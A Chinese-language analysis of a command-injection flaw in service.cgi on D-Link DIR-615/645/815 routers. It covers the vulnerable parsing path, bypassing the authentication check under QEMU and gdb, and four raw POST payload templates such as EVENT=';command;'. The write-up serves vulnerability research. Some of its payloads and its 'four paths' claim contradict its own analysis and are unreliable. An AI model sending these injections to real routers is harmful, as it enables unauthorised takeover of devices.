DIR-615/645/815 service.cgi远程命令执行漏洞
字数 1129 2025-09-01 11:26:03
D-Link DIR-615/645/815 service.cgi远程命令执行漏洞分析
漏洞概述
D-Link DIR-615/645/815路由器1.03及之前的固件版本存在远程命令执行漏洞。该漏洞位于service.cgi中,由于HTTP POST请求中的数据被直接拼接执行,导致攻击者可以执行任意命令。
漏洞分析
漏洞位置
漏洞存在于/htdocs/cgibin二进制文件的servicecgi_main函数中。
关键函数
sub_40A1C0: 解析函数,解析传入的参数lxmldbc_system: 最终会调用system执行命令
漏洞原理
- 程序接收第一个参数并通过
sub_40A1C0解析 - 解析后的参数(如
EVENT=abc中的abc)会被拼接在event_%s____dev_null中 - 最终形成
lxmldbc_system(event %s____dev_null)形式的命令执行
利用条件
- 请求方式: 必须使用POST请求,GET请求会直接报错退出
- Content-Type: 必须设置为
application/x-www-form-urlencoded - 用户认证: 需要绕过
sess_ispoweruser函数的用户验证
漏洞利用路径
有四种路径可以调用lxmldbc_system函数:
-
直接通过EVENT参数:
- 当
v5!=NULL时直接执行v5
- 当
-
通过SERVICE和ACTION参数:
- 当
v5=NULL时进入else分支 - 需要
v6和v7都不为NULL v7可以是START、RESTART或STOP- 会将
v6拼接进命令执行
- 当
漏洞复现方法
用户态QEMU调试
- 使用用户级QEMU进行调试
- 设置断点在
0x40A3A4 - 通过gdb设置跳过用户认证步骤
绕过用户认证
- 修改二进制文件将
sess_ispoweruser函数nop掉 - 或通过gdb直接设置跳过此步骤
Payload构造
使用';cmd;'形式拼接执行命令,例如:
EVENT=';ls;'
漏洞利用EXP
四种可能的payload形式:
- 直接EVENT参数注入:
POST /service.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
EVENT=';command;'
- SERVICE+ACTION参数注入:
POST /service.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
SERVICE=START&ACTION=';command;'
- SERVICE+ACTION+RESTART注入:
POST /service.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
SERVICE=START&ACTION=RESTART&PARAM=';command;'
- SERVICE+ACTION+STOP注入:
POST /service.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
SERVICE=START&ACTION=STOP&PARAM=';command;'
漏洞挖掘经验
- 关注危险函数:如
system、exec等 - 利用IDA功能:
- 函数流程图分析
- xref交叉引用分析
- 调试技巧:
- 多尝试猜测和调试
- 关注参数解析过程
- 同类漏洞模式:D-Link多个服务功能函数结构相似